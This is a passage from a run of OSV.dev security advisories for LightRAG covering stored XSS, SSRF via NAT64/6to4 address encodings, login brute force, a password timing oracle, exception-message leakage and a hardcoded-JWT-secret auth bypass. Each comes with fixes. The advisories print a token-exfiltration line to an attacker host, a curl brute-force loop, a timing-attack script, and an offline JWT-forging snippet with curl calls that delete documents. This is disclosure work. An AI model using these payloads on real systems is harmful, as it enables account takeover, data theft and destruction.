Then query the knowledge base from the WebUI (or POST /query with only_need_context=true); the stored payload renders and the benign marker script runs in the viewer's browser (the page title becomes the origin). A real attacker replaces the benign marker with fetch('//attacker/?t='+localStorage.getItem('LIGHTRAG-API-TOKEN')) to exfiltrate the victim's JWT (verified storage key) and impersonate them against the API.

Impact

Stored (persistent) cross-site scripting. Any user in the default no-auth deployment, or any authenticated low-privilege collaborator when auth is enabled, can plant a document whose content runs arbitrary JavaScript in the browser of every user who later retrieves it. Because LightRAG keeps the auth token in localStorage, the injected script can read it and drive the API as the victim (exfiltrate/modify/delete the knowledge base and graph, upload documents) — i.e. escalate to full account/instance takeover.

Affected versions


          0.0.2


          0.0.3


          0.0.4


          0.0.5


          0.0.6


          0.0.7


          0.0.8


          0.0.9


          1.0.0


          1.0.1


          1.0.3


          1.0.5

+ 77 more


            1.0.6


            1.0.8


            1.0.9


            1.1.0


            1.1.1


            1.1.2


            1.1.3


            1.1.4


            1.1.5


            1.1.6


            1.1.7


            1.2.1


            1.2.2


            1.2.3


            1.2.5


            1.2.6


            1.3.0


            1.3.1


            1.3.2


            1.3.3


            1.3.4


            1.3.5


            1.3.6


            1.3.7


            1.3.8


            1.3.9


            1.4.0


            1.4.1


            1.4.10


            1.4.11


            1.4.11rc2


            1.4.12


            1.4.12rc1


            1.4.13


            1.4.13rc1


            1.4.14


            1.4.15


            1.4.16


            1.4.2


            1.4.3


            1.4.4


            1.4.5


            1.4.6


            1.4.7


            1.4.8.1


            1.4.8.2


            1.4.8rc4


            1.4.8rc6


            1.4.8rc7


            1.4.8rc8


            1.4.8rc9


            1.4.9


            1.4.9.1


            1.4.9.10


            1.4.9.11


            1.4.9.2


            1.4.9.3


            1.4.9.4


            1.4.9.4rc1


            1.4.9.5


            1.4.9.6


            1.4.9.7


            1.4.9.8


            1.4.9.9


            1.4.9rc1


            1.4.9rc2


            1.4.9rc3


            1.4.9rc4


            1.5.0


            1.5.0rc1


            1.5.0rc2


            1.5.0rc3


            1.5.1


            1.5.2


            1.5.3


            1.5.4


            1.5.5rc1

Fixed in


          1.5.5

References

Updated Oct 01, 2026 · Source: OSV.dev

CVE-2026-85740 PYSEC-2026-4064 GHSA-vv3m-f8x4-7377 Oct 01, 2026

lightrag-hku: SSRF via IPv6-transition address bypass (NAT64, IPv4-compatible, 6to4) of the native-markdown image-download guard

7.1 / 10

High

Network High Low None Changed High Low None

Summary

LightRAG's native markdown parser downloads external images referenced by an uploaded markdown or textpack document. The only SSRF guard, _validated_addresses() in lightrag/parser/markdown/parser.py, resolves the image host and rejects it when the resolved IP is not is_global. That check is evaluated on the raw resolved address and never decodes IPv6 transition wrappers that embed an internal IPv4. Python's ipaddress classifies a NAT64 (64:ff9b::/96 and the RFC 8215 64:ff9b:1::/48 prefix), IPv4-compatible (::a.b.c.d), or 6to4 (2002::/16) literal that wraps an internal IPv4 as globally routable, so the guard passes it. On a host with NAT64/DNS64 routing the request is then delivered to the embedded internal target (loopback, RFC1918, or a cloud metadata endpoint), and the fetched body is ingested. The plain and IPv4-mapped (::ffff:) forms of the same internal address are correctly blocked, so this is an encoding that defeats the existing filter.

Affected component and versions

Package: lightrag-hku (LightRAG), the native markdown image-download path.
Component: lightrag/parser/markdown/parser.py, guard _validated_addresses() (the if not (ip.is_global or ...) check), reached from _download() -> _build_guarded_opener().open(req).
Enabled by default: download_enabled = _env_bool("NATIVE_MD_IMAGE_DOWNLOAD_ENABLED", True).
Affected: LightRAG <= 1.5.4 (latest release at time of report, commit 9a45b64).
Precondition: the caller can upload a document (API key via Depends(combined_auth)); the host has NAT64/DNS64 routing for the encoded address to reach the internal endpoint.

Vulnerable code vs the guarded sibling

Evaluated on the exact resolved addresses (CPython ipaddress):

| Form | address | is_global | guard verdict | |---|---|---|---| | plain internal 127.0.0.1 | 127.0.0.1 | False | BLOCK (correct) | | IPv4-mapped | ::ffff:7f00:1 | False | BLOCK (correct) | | NAT64 64:ff9b::/96 | 64:ff9b::7f00:1 | True | PASS (bypass) | | NAT64 RFC8215 64:ff9b:1::/48 | 64:ff9b:1::7f00:1 | True | PASS (bypass) | | IPv4-compatible ::a.b.c.d | ::7f00:1 | True | PASS (bypass) | | 6to4 2002::/16 | 2002:7f00:1:: | True | PASS (bypass) |

The guard already blocks the plain and IPv4-mapped internal forms (the forms the author tested), proving the intent is to reject internal destinations; it never canonicalizes the other transition wrappers, so they pass.

Severity

High. CWE-918 (Server-Side Request Forgery). CVSS 3.1 vector AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:L/A:N, base score 7.1. AC:H reflects the NAT64/DNS64 network precondition for end-to-end reach; PR:L because document upload requires the API key; S:C because the request pivots into an internal network segment; C:H for internal/metadata/secret disclosure.

Proof of concept (deployed, both directions, verbatim)

Environment: three Docker containers on an IPv6-enabled network - an internal victim (10.66.0.2:80, RFC1918) serving a unique secret, a DNS64/NAT64 gateway owning 64:ff9b::/96 that forwards [64:ff9b::0a42:0002]:80 to 10.66.0.2:80, and an attacker host with a client-side route 64:ff9b::/96 via <gateway>. This models a client on an IPv6-only / NAT64+DNS64 network (AWS/GCP IPv6-only subnets, many mobile and corporate networks). The attacker runs the EXACT released guard code (_validated_addresses, _host_is_public, _build_guarded_opener, the _Guarded*Connection/Handler classes, sliced verbatim from v1.5.4 parser.py, only the logger import shimmed) plus a verbatim reproduction of the released _download() scheme and host precheck. Trigger in production: an uploaded document containing ![x](http://[64:ff9b::<internal-hex>]/a.png).

RUN 1, released v1.5.4 guard (VULNERABLE):

attack URL = http://[64:ff9b::0a42:0002]:80/logo.png
===== DIRECTION A: ATTACK (NAT64-wrapped internal address) =====
guard verdict : PASSED (fetched)
SECRET LEAKED : True
body          : SSRF-LIGHTRAG-INTERNAL-METADATA-9f3a2b7c
===== control: plain internal address (must be BLOCKED) =====
verdict: BLOCKED at guard: non-public host blocked
===== DIRECTION B: PUBLIC address (must still be FETCHED) =====
guard verdict : PASSED (fetched)
public body   : PUBLIC-OK-BODY
===== SUMMARY =====
attack_leaked_internal_secret = True
plain_internal_blocked        = True
public_still_fetched          = True

RUN 2, one-line-class decode fix applied (same inputs, same network):

===== DIRECTION A: ATTACK (NAT64-wrapped internal address) =====
guard verdict : BLOCKED at guard: non-public host blocked
SECRET LEAKED : False
===== control: plain internal address (must be BLOCKED) =====
verdict: BLOCKED at guard: non-public host blocked
===== DIRECTION B: PUBLIC address (must still be FETCHED) =====
guard verdict : PASSED (fetched)
public body   : PUBLIC-OK-BODY
===== SUMMARY =====
attack_leaked_internal_secret = False
plain_internal_blocked        = True
public_still_fetched          = True

Fix-correctness matrix (isolated): genuine global IPv6 2606:4700:4700::1111 and 2001:4860:4860::8888 -> ALLOW (no false positive); NAT64/RFC8215/IPv4-compat/6to4 wrappers of an internal IPv4 -> BLOCK; NAT64 of a public IPv4 (64:ff9b::808:808 = 8.8.8.8) -> ALLOW.

Impact

A caller who can upload a markdown or textpack document (textpack uploads route to the native engine with zero config; markdown reaches it when the native engine is selected) can make the LightRAG server issue HTTP requests to internal-only addresses that the SSRF guard is meant to forbid, and the fetched body is ingested. On a deployment with NAT64/DNS64 routing this reaches cloud instance metadata (169.254.169.254, 100.100.100.200), loopback services, and RFC1918 internal hosts, exposing IAM credentials and internal service data.

Suggested fix

Decode the embedded IPv4 of any IPv6 transition wrapper and classify by the embedded IPv4 before the is_global check:

def _unwrap_embedded_ipv4(ip):
    """Return the IPv4 embedded in an IPv6 transition wrapper (IPv4-mapped,
    IPv4-compatible, NAT64 64:ff9b::/96 and RFC8215 64:ff9b:1::/48, 6to4
    2002::/16) so it is classified by IPv4 rules; else return ip unchanged."""
    if ip.version != 6:
        return ip
    if ip.ipv4_mapped is not None:
        return ip.ipv4_mapped
    if getattr(ip, "sixtofour", None) is not None:
        return ip.sixtofour
    b = ip.packed
    if b[:12] == b"\x00" * 12 and b[12:] not in (b"\x00\x00\x00\x00", b"\x00\x00\x00\x01"):
        return ip_address(b[12:])
    if b[:12] == b"\x00\x64\xff\x9b" + b"\x00" * 8:
        return ip_address(b[12:])
    if b[:6] == b"\x00\x64\xff\x9b\x00\x01":
        return ip_address(b[12:])
    return ip

Then in _validated_addresses:

judged = _unwrap_embedded_ipv4(ip)
if not (judged.is_global or any(ip in net for net in allow)):
    return []

Verified: this blocks the NAT64/IPv4-compat/6to4 internal forms while genuine public IPs and public NAT64-wrapped IPs still pass.

Resolution

Addressed by #3426 (pending merge), targeted for release in lightrag-hku 1.5.5. _validated_addresses() now decides global-routability by starting from the stdlib's is_global on the literal and only ever tightening it — the guard is never more permissive than ipaddress itself:

Fixed-position transition wrappers are decoded and the embedded IPv4 must also be global (IPv4-mapped ::ffff:0:0/96, IPv4-compatible ::/96, and the NAT64 well-known prefix 64:ff9b::/96 — RFC 6052 §2.2, contiguous low-32 embedding). So 64:ff9b::7f00:1 (→ loopback) is blocked while 64:ff9b::808:808 (→ public 8.8.8.8) still passes.
Blocks whose embedded-IPv4 position must not be trusted are default-denied as whole blocks, independent of the interpreter: the RFC 8215 local-use prefix 64:ff9b:1::/48 (technology-agnostic, embedded-IPv4 position not guaranteed per RFC 8215 §5 — a fixed-offset decode is itself bypassable, e.g. 64:ff9b:1:7f00:0:100:808:808 encodes 127.0.0.1 but its low 32 bits read as public 8.8.8.8) and 6to4 2002::/16 (IANA global-reachability N/A; current CPython classifies the whole block non-global — RFC 7526 deprecated only the 6to4 anycast relay path, not the 2002::/16 prefix itself). Decoding 6to4 by its embedded IPv4 would have re-permitted 2002::/16 addresses the stdlib already blocks, so it is denied outright instead.

Genuine global IPv6 and a NAT64 wrapper of a public IPv4 still pass; regression tests cover every wrapped form of loopback / RFC1918 / metadata, the RFC 6052 /48 suffix bypass, and 6to4 of a public IPv4. Boundary: a NAT64 deployment using a custom, globally-routable Network-Specific Prefix (RFC 6052 permits any /32../96), or a genuine local NAT64 / legacy 6to4 in the force-denied blocks, is not auto-permitted — such operators should pin the download egress or set NATIVE_MD_IMAGE_ALLOWED_NON_PUBLIC_CIDRS deliberately.

Credit

tonghuaroot (tonghuaroot@gmail.com).

Affected versions


          0.0.2


          0.0.3


          0.0.4


          0.0.5


          0.0.6


          0.0.7


          0.0.8


          0.0.9


          1.0.0


          1.0.1


          1.0.3


          1.0.5

+ 77 more


            1.0.6


            1.0.8


            1.0.9


            1.1.0


            1.1.1


            1.1.2


            1.1.3


            1.1.4


            1.1.5


            1.1.6


            1.1.7


            1.2.1


            1.2.2


            1.2.3


            1.2.5


            1.2.6


            1.3.0


            1.3.1


            1.3.2


            1.3.3


            1.3.4


            1.3.5


            1.3.6


            1.3.7


            1.3.8


            1.3.9


            1.4.0


            1.4.1


            1.4.10


            1.4.11


            1.4.11rc2


            1.4.12


            1.4.12rc1


            1.4.13


            1.4.13rc1


            1.4.14


            1.4.15


            1.4.16


            1.4.2


            1.4.3


            1.4.4


            1.4.5


            1.4.6


            1.4.7


            1.4.8.1


            1.4.8.2


            1.4.8rc4


            1.4.8rc6


            1.4.8rc7


            1.4.8rc8


            1.4.8rc9


            1.4.9


            1.4.9.1


            1.4.9.10


            1.4.9.11


            1.4.9.2


            1.4.9.3


            1.4.9.4


            1.4.9.4rc1


            1.4.9.5


            1.4.9.6


            1.4.9.7


            1.4.9.8


            1.4.9.9


            1.4.9rc1


            1.4.9rc2


            1.4.9rc3


            1.4.9rc4


            1.5.0


            1.5.0rc1


            1.5.0rc2


            1.5.0rc3


            1.5.1


            1.5.2


            1.5.3


            1.5.4


            1.5.5rc1

Fixed in


          1.5.5

References

Updated Oct 01, 2026 · Source: OSV.dev

CVE-2026-85734 PYSEC-2026-4062 GHSA-frch-4w6v-q5xx Oct 01, 2026

lightrag-hku: No Rate Limiting on /login Endpoint Allows Brute-Force Attacks

9.1 / 10

Critical

Network Low None None Unchanged High High None

Summary

The POST /login endpoint has no rate limiting, account lockout, or delay on failed attempts. An attacker can submit unlimited password guesses at full network speed.

Details

# lightrag/api/lightrag_server.py:2161
@app.post("/login")
async def login(form_data: OAuth2PasswordRequestForm = Depends()):
    if not auth_handler.verify_password(username, form_data.password):
        raise HTTPException(status_code=401, detail="Incorrect credentials")
    # No: rate limit / lockout / backoff / CAPTCHA / attempt counter

A search for slowapi, rate_limit, lockout, or throttle in lightrag/api/ returns zero results.

PoC

# Brute-force /login with a wordlist, no throttling
while IFS= read -r pass; do
  code=$(curl -s -o /dev/null -w "%{http_code}" \
    -X POST http://<TARGET>:9621/login \
    -d "username=admin&password=${pass}")
  [ "$code" = "200" ] && echo "[FOUND] $pass" && break
done < /usr/share/wordlists/rockyou.txt

Impact

Improper restriction of authentication attempts. Any network-reachable attacker can brute-force user passwords without restriction. Once credentials are recovered, the attacker gains full authenticated access to all documents, knowledge graph, and administrative operations.

Affected versions


          0.0.2


          0.0.3


          0.0.4


          0.0.5


          0.0.6


          0.0.7


          0.0.8


          0.0.9


          1.0.0


          1.0.1


          1.0.3


          1.0.5

+ 77 more


            1.0.6


            1.0.8


            1.0.9


            1.1.0


            1.1.1


            1.1.2


            1.1.3


            1.1.4


            1.1.5


            1.1.6


            1.1.7


            1.2.1


            1.2.2


            1.2.3


            1.2.5


            1.2.6


            1.3.0


            1.3.1


            1.3.2


            1.3.3


            1.3.4


            1.3.5


            1.3.6


            1.3.7


            1.3.8


            1.3.9


            1.4.0


            1.4.1


            1.4.10


            1.4.11


            1.4.11rc2


            1.4.12


            1.4.12rc1


            1.4.13


            1.4.13rc1


            1.4.14


            1.4.15


            1.4.16


            1.4.2


            1.4.3


            1.4.4


            1.4.5


            1.4.6


            1.4.7


            1.4.8.1


            1.4.8.2


            1.4.8rc4


            1.4.8rc6


            1.4.8rc7


            1.4.8rc8


            1.4.8rc9


            1.4.9


            1.4.9.1


            1.4.9.10


            1.4.9.11


            1.4.9.2


            1.4.9.3


            1.4.9.4


            1.4.9.4rc1


            1.4.9.5


            1.4.9.6


            1.4.9.7


            1.4.9.8


            1.4.9.9


            1.4.9rc1


            1.4.9rc2


            1.4.9rc3


            1.4.9rc4


            1.5.0


            1.5.0rc1


            1.5.0rc2


            1.5.0rc3


            1.5.1


            1.5.2


            1.5.3


            1.5.4


            1.5.5rc1

Fixed in


          1.5.5

References

Updated Oct 01, 2026 · Source: OSV.dev

CVE-2026-85725 PYSEC-2026-4061 GHSA-c759-cx9p-mrwq Oct 01, 2026

lightrag-hku: Plaintext Passwords Compared Without Constant-Time Function

5.9 / 10

Medium

Network High None None Unchanged High None None

Summary

When plaintext passwords are stored in AUTH_ACCOUNTS, the comparison uses Python's == operator which is not constant-time. An attacker with low-latency access can exploit timing differences to recover the password character by character.

Details

# lightrag/api/passwords.py:13-26
def verify_password(plain_password: str, stored_password: str) -> bool:
    if stored_password.startswith("{bcrypt}"):
        ...
        return bcrypt.checkpw(...)    # constant-time  OK

    return stored_password == plain_password  # NOT constant-time  VULN
    #   Python == short-circuits on first mismatched byte
    #   Timing leaks: password length + individual characters

PoC

# Timing oracle: recover password char-by-char
import httpx, time, string

TARGET = "http://<TARGET>:9621/login"
USER   = "admin"

def measure(pwd: str) -> float:
    t = time.perf_counter()
    httpx.post(TARGET, data={"username": USER, "password": pwd})
    return time.perf_counter() - t

known = ""
for _ in range(32):
    best = max(string.printable,
               key=lambda c: sum(measure(known+c+"A"*20) for _ in range(10)))
    known += best
    print(f"Recovered: {known}")

Impact

Observable timing discrepancy. Attackers with low-latency access can recover plaintext passwords character by character without triggering brute-force limits. Only affects deployments using unhashed passwords in AUTH_ACCOUNTS.

Affected versions


          0.0.2


          0.0.3


          0.0.4


          0.0.5


          0.0.6


          0.0.7


          0.0.8


          0.0.9


          1.0.0


          1.0.1


          1.0.3


          1.0.5

+ 77 more


            1.0.6


            1.0.8


            1.0.9


            1.1.0


            1.1.1


            1.1.2


            1.1.3


            1.1.4


            1.1.5


            1.1.6


            1.1.7


            1.2.1


            1.2.2


            1.2.3


            1.2.5


            1.2.6


            1.3.0


            1.3.1


            1.3.2


            1.3.3


            1.3.4


            1.3.5


            1.3.6


            1.3.7


            1.3.8


            1.3.9


            1.4.0


            1.4.1


            1.4.10


            1.4.11


            1.4.11rc2


            1.4.12


            1.4.12rc1


            1.4.13


            1.4.13rc1


            1.4.14


            1.4.15


            1.4.16


            1.4.2


            1.4.3


            1.4.4


            1.4.5


            1.4.6


            1.4.7


            1.4.8.1


            1.4.8.2


            1.4.8rc4


            1.4.8rc6


            1.4.8rc7


            1.4.8rc8


            1.4.8rc9


            1.4.9


            1.4.9.1


            1.4.9.10


            1.4.9.11


            1.4.9.2


            1.4.9.3


            1.4.9.4


            1.4.9.4rc1


            1.4.9.5


            1.4.9.6


            1.4.9.7


            1.4.9.8


            1.4.9.9


            1.4.9rc1


            1.4.9rc2


            1.4.9rc3


            1.4.9rc4


            1.5.0


            1.5.0rc1


            1.5.0rc2


            1.5.0rc3


            1.5.1


            1.5.2


            1.5.3


            1.5.4


            1.5.5rc1

Fixed in


          1.5.5

References

Updated Oct 01, 2026 · Source: OSV.dev

CVE-2026-85709 PYSEC-2026-4063 GHSA-hrmj-7rvj-4hg8 Oct 01, 2026

lightrag-hku: Sensitive Information Exposure Through Raw Exception Messages in API Error Responses

5.3 / 10

Medium

Network Low None None Unchanged Low None None

Summary

The LightRAG API server passes raw Python exception messages directly into HTTP error responses across 30+ error handlers in every router. When combined with the default unauthenticated configuration (see companion report on CWE-306), any network-reachable client can trigger exceptions whose raw text discloses internal infrastructure — server filesystem paths, database host/port/user, LLM provider error details, and Python library internals. No global exception handler sanitizes error messages before they reach the client.

Details

Throughout the API route handlers, exceptions are caught and their string representation is returned verbatim via detail=str(e) / detail=str(exc) (and f-string variants such as detail=f"...: {str(e)}"). This occurs in every router file. Location breakdown on the current main branch:

HTTP 500 — raw exception passthrough (except Exception as e):

document_routes.py — 13
graph_routes.py — 12 (mix of detail=f"...{str(e)}" and detail=error_msg)
query_routes.py — 3
ollama_api.py — 2
lightrag_server.py — 1 (health endpoint)

HTTP 422 — raw exception passthrough (except ValueError as exc):

document_routes.py — 2 (chunking-config validation)

Total: ~33 raw-exception-to-HTTP-response locations. The only pre-existing custom exception handler in lightrag_server.py is specific to RequestValidationError for /query/data; it does not cover the generic Exception handlers in route code.

Example pattern (document_routes.py, upload handler):

except Exception as e:
    logger.error(f"Error /documents/upload: {file.filename}: {str(e)}")
    raise HTTPException(status_code=500, detail=str(e))

Categories of sensitive information that can leak through these responses:

Server filesystem paths. File-I/O errors from the default JSON storage backend expose the server's directory layout (e.g. [Errno 13] Permission denied: '/app/data/rag_storage/default/kv_store_full_docs.json'), aiding path-traversal or targeted attacks. (Verified — see PoC Step 1.)
Database host / port / user / database name. Connection errors from the PostgreSQL, MongoDB, Redis, or Neo4j backends surface the target the driver was trying to reach — e.g. asyncpg raises password authentication failed for user "lightrag" (username) or a socket error naming the unreachable host and port. Note on credentials: the PostgreSQL backend uses asyncpg, which is built from keyword parameters and does not echo the password in its exception strings — so a raw asyncpg error leaks host/port/user/db, not the password. URI-configured backends behave differently: the MongoDB backend is built with AsyncMongoClient(MONGO_URI, ...), and a malformed-URI / configuration error from pymongo can surface the connection string itself, which may embed credentials (mongodb://user:password@host:port/). The leak surface is therefore backend- and error-type-dependent.
LLM provider error details. Errors from OpenAI / Gemini / Bedrock and other providers may include model names, organization ids, or partial API error context that reveal the deployment.
Python library internals. Unexpected exceptions expose class names, library-internal messages, and stack fragments that fingerprint the server stack and version.
Configuration details. Errors during configuration/parsing may reveal storage backend types and other configuration values.

The risk is amplified by the default unauthenticated configuration (CWE-306, companion report), which lets any network client trigger and read these errors without credentials.

PoC

Tested on a clean checkout with the [api] extras installed and the server run via lightrag-server.

Step 1 — Filesystem path disclosure (default JSON storage)

With the default storage backend, a file-permission error is returned verbatim:

# Make a storage file unreadable to force an I/O error.
chmod 000 ./rag_storage/default/kv_store_full_docs.json
curl -s http://localhost:9621/documents | python3 -m json.tool

Vulnerable response — the full server-side path is disclosed:

{
    "detail": "[Errno 13] Permission denied: '/app/data/rag_storage/default/kv_store_full_docs.json'"
}

Step 2 — Database infrastructure disclosure (PostgreSQL backend)

Configure a PostgreSQL KV backend pointed at an unreachable / misconfigured host:

LIGHTRAG_KV_STORAGE=PGKVStorage
POSTGRES_HOST=nonexistent-host-12345.example.com
POSTGRES_PORT=5432
POSTGRES_USER=lightrag
POSTGRES_DATABASE=lightrag

A request that touches storage returns the raw connection error, disclosing the host / port / user the server is configured to reach (the asyncpg password is not echoed — see the credentials note above):

{
    "detail": "[Errno -2] Name or service not known"
}

For a URI-configured backend such as MongoDB (MONGO_URI=mongodb://user:pass@host:port/db), a malformed-URI / configuration error can instead surface the connection string itself, including any embedded credentials.

Impact

Error-message information exposure. A client able to reach the LightRAG server can extract:

Confidentiality (C:L): server filesystem paths, database host/port/user/db, LLM provider configuration hints, and Python stack internals from raw exception messages; for URI-configured backends, potentially the connection string (with embedded credentials).
Escalation risk: leaked hosts/paths aid follow-on attacks; a leaked connection URI could enable direct database access if the database is network-reachable.

When combined with the default unauthenticated configuration, any network client can trigger and read these responses without authentication, which is why this is scored PR:N.

Suggested remediation

Replace every detail=str(e) / detail=str(exc) pattern with a generic client message. Log the full exception server-side (message + traceback) and return only a generic message plus a correlation id:
```
except Exception as e:
    logger.error(f"Error /documents/upload: {file.filename}: {e!r}")
    raise HTTPException(status_code=500, detail="Internal server error")
```

Register a last-resort global handler as defense-in-depth so any exception that escapes a route is sanitized identically:

@app.exception_handler(Exception)
async def unhandled_exception_handler(request, exc):
    logger.error(f"Unhandled exception: {exc!r}", exc_info=True)
    return JSONResponse(status_code=500, content={"detail": "Internal server error"})

Preserve genuine client-input validation feedback. The two HTTP 422 chunking-config validators emit controlled, non-sensitive messages; keep them as 422 feedback rather than genericizing to 500 — but wrap the raw exception so it is never a bare passthrough.

Fix status: implemented in HKUDS/LightRAG#3422 — a shared internal_server_error() helper routes all 500 handlers through a generic body carrying a correlation id (full detail logged server-side), a global @app.exception_handler(Exception) is registered in create_app, and the two 422 validators are wrapped.

Credits

Thai Son Dinh from VinSOC Labs (R&D)
Nguyen Huy Vu Dung from VinSOC Labs (AppSec)

Affected versions


          0.0.2


          0.0.3


          0.0.4


          0.0.5


          0.0.6


          0.0.7


          0.0.8


          0.0.9


          1.0.0


          1.0.1


          1.0.3


          1.0.5

+ 77 more


            1.0.6


            1.0.8


            1.0.9


            1.1.0


            1.1.1


            1.1.2


            1.1.3


            1.1.4


            1.1.5


            1.1.6


            1.1.7


            1.2.1


            1.2.2


            1.2.3


            1.2.5


            1.2.6


            1.3.0


            1.3.1


            1.3.2


            1.3.3


            1.3.4


            1.3.5


            1.3.6


            1.3.7


            1.3.8


            1.3.9


            1.4.0


            1.4.1


            1.4.10


            1.4.11


            1.4.11rc2


            1.4.12


            1.4.12rc1


            1.4.13


            1.4.13rc1


            1.4.14


            1.4.15


            1.4.16


            1.4.2


            1.4.3


            1.4.4


            1.4.5


            1.4.6


            1.4.7


            1.4.8.1


            1.4.8.2


            1.4.8rc4


            1.4.8rc6


            1.4.8rc7


            1.4.8rc8


            1.4.8rc9


            1.4.9


            1.4.9.1


            1.4.9.10


            1.4.9.11


            1.4.9.2


            1.4.9.3


            1.4.9.4


            1.4.9.4rc1


            1.4.9.5


            1.4.9.6


            1.4.9.7


            1.4.9.8


            1.4.9.9


            1.4.9rc1


            1.4.9rc2


            1.4.9rc3


            1.4.9rc4


            1.5.0


            1.5.0rc1


            1.5.0rc2


            1.5.0rc3


            1.5.1


            1.5.2


            1.5.3


            1.5.4


            1.5.5rc1

Fixed in


          1.5.5

References

Updated Oct 01, 2026 · Source: OSV.dev

CVE-2026-61740 PYSEC-2026-3475 GHSA-f4vv-55c2-5789 Jul 23, 2026

LightRAG is Vulnerable to Authentication Bypass: hardcoded DEFAULT_TOKEN_SECRET and public /auth-status defeat LIGHTRAG_API_KEY protection

Critical

Network Low None None

Summary

When LightRAG is deployed with LIGHTRAG_API_KEY set but AUTH_ACCOUNTS unset (an officially documented "API-Key authentication" mode), the X-API-Key protection can be bypassed by any remote unauthenticated attacker. The bypass does not require network contact with the victim server — an attacker can mint a valid guest JWT offline using the hardcoded DEFAULT_TOKEN_SECRET committed in the repository and then call any endpoint guarded by Depends(combined_auth), including destructive operations such as DELETE /documents, POST /documents/upload, /documents/clear_cache, and POST /query.

This is distinct from the previously-fixed GHSA-mcww-4hxq-hfr3 / CVE-2026-30762, which only covered the AUTH_ACCOUNTS-configured case. The API-Key-only deployment profile is still fully exploitable on current main (commit 157c331, v1.4.15).

Root cause

Three independent issues combine:

lightrag/api/config.py:54 ships a hardcoded default JWT secret:
```
DEFAULT_TOKEN_SECRET="lightr...key!"
```
lightrag/api/auth.py:28-38 falls back to DEFAULT_TOKEN_SECRET with only a warning log when AUTH_ACCOUNTS is not configured. The fix for CVE-2026-30762 only raises when AUTH_ACCOUNTS is set, so the API-key-only path is silently vulnerable.
lightrag/api/lightrag_server.py:1140-1186 exposes GET /auth-status and POST /login without any authentication dependency. In the API-key-only configuration, auth_handler.accounts is empty, and both endpoints unconditionally mint and return a signed guest JWT.
lightrag/api/utils_api.py:214-216 inside combined_dependency short-circuits authorization on any valid guest token when auth_configured is false, before reaching the X-API-Key check on line 237:
```
if not auth_configured and token_info.get("role") == "guest":
    return
```

Proof of concept (offline-minted token, zero server contact)

Tested against a clean install of commit 157c331 running locally with only LIGHTRAG_API_KEY=super-...ass configured.

$ python3 - <<'PY'
import jwt
from datetime import datetime, timedelta, timezone
print(jwt.encode(
    {"sub":"guest","role":"guest",
     "exp":datetime.now(timezone.utc)+timedelta(hours=24),
     "metadata":{"auth_mode":"disabled"}},
    "lightrag-jwt-default-secret-key!",
    algorithm="HS256"))
PY
eyJhbGci...

# Control — no creds: correctly rejected
$ curl -s -w "HTTP %{http_code}\n" http://target:9876/documents
{"detail":"API Key required"}
HTTP 403

# Control — wrong API key: correctly rejected
$ curl -s -w "HTTP %{http_code}\n" -H "X-API-Key: wrong-key" http://target:9876/documents
{"detail":"Invalid API Key"}
HTTP 403

# Bypass — offline-minted guest JWT: accepted
$ curl -s -w "HTTP %{http_code}\n" -H "Authorization: Bearer *** \
    http://target:9876/documents
{"statuses":{}}
HTTP 200

# Destructive confirmation — DELETE /documents with the same token
$ curl -s -X DELETE -w "HTTP %{http_code}\n" -H "Authorization: Bearer *** \
    http://target:9876/documents
{"status":"success","message":"All documents cleared successfully. Deleted 0 files."}
HTTP 200

The guest JWT also does not need to be minted offline — GET /auth-status hands one out to anyone, even when the server is started with LIGHTRAG_API_KEY set. Either path (offline or /auth-status) yields the same bypass.

Impact

Any LightRAG instance that is reachable on the network and configured with:

LIGHTRAG_API_KEY set (i.e. the operator believes the server is protected), and
AUTH_ACCOUNTS unset (i.e. they opted out of the password-based login flow)

is fully accessible to any anonymous caller. This configuration is documented as the "simple API-Key authentication" mode in docs/LightRAG-API-Server.md, so it is expected to be common in production. An attacker can:

Read and delete arbitrary documents (/documents, DELETE /documents)
Upload arbitrary documents and text for ingestion (/documents/upload, /documents/text, /documents/texts, /documents/file_batch, /documents/scan)
Clear LLM / embedding caches (/documents/clear_cache)
Inspect and mutate the knowledge graph (/graph/*)
Run arbitrary queries that will consume paid LLM / embedding credits (/query, /query/stream)

Because the server may be exposed behind corporate reverse proxies that trust LIGHTRAG_API_KEY, this also lets the attacker bypass perimeter authentication that the operator assumed was sufficient.

Suggested CVSS

7.5 — CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:L (High). Unauthenticated, network-reachable, affects confidentiality and integrity of all ingested documents and knowledge graphs; availability impact via cache wipes and credit exhaustion.

Suggested fix

Any one of the following individually closes the primary vector; all three are recommended for defense in depth:

Remove the hardcoded fallback. Mirror the fix for CVE-2026-30762: refuse to start (or emit a randomly-generated ephemeral secret that is not exported) whenever TOKEN_SECRET is unset, regardless of AUTH_ACCOUNTS.
Gate /auth-status and /login when LIGHTRAG_API_KEY is set. Either require Depends(combined_auth) or stop minting guest tokens whenever api_key_configured is true.
Fix the short-circuit in combined_dependency. Do not accept guest tokens as authentication when api_key_configured is true; always require a valid X-API-Key header in that configuration.

Affected versions

main through commit 157c331 (2026-04-15)
Most recent release v1.4.15 and all prior releases that ship the API-Key-only code path

Prior art checked

GHSA-8ffj-4hx4-9pgf / CVE-2026-39413 — JWT alg:none. Unrelated.
GHSA-mcww-4hxq-hfr3 / CVE-2026-30762 — hardcoded JWT secret combined with AUTH_ACCOUNTS. Fixed by PR #2869, which explicitly does not cover the API-Key-only configuration.
Issues/PRs searched: "guest token bypass", "DEFAULT_TOKEN_SECRET", "hardcoded secret", "auth-status", "api key bypass". No prior report covering this vector.

Discovery

Found during an external security review of LightRAG's API authentication flow. Reporter can be credited publicly as "patchmyday (Jason Zhang)" upon disclosure.

Affected versions


          0.0.2


          0.0.3


          0.0.4


          0.0.5


          0.0.6


          0.0.7


          0.0.8


          0.0.9


          1.0.0


          1.0.1


          1.0.3


          1.0.5

+ 75 more


            1.0.6


            1.0.8


            1.0.9


            1.1.0


            1.1.1


            1.1.2


            1.1.3


            1.1.4


            1.1.5


            1.1.6


            1.1.7


            1.2.1


            1.2.2


            1.2.3


            1.2.5


            1.2.6


            1.3.0


            1.3.1


            1.3.2


            1.3.3


            1.3.4


            1.3.5


            1.3.6


            1.3.7


            1.3.8


            1.3.9


            1.4.0


            1.4.1


            1.4.10


            1.4.11


            1.4.11rc2


            1.4.12


            1.4.12rc1


            1.4.13


            1.4.13rc1


            1.4.14


            1.4.15


            1.4.16


            1.4.2


            1.4.3


            1.4.4


            1.4.5


            1.4.6


            1.4.7


            1.4.8.1


            1.4.8.2


            1.4.8rc4


            1.4.8rc6


            1.4.8rc7


            1.4.8rc8


            1.4.8rc9


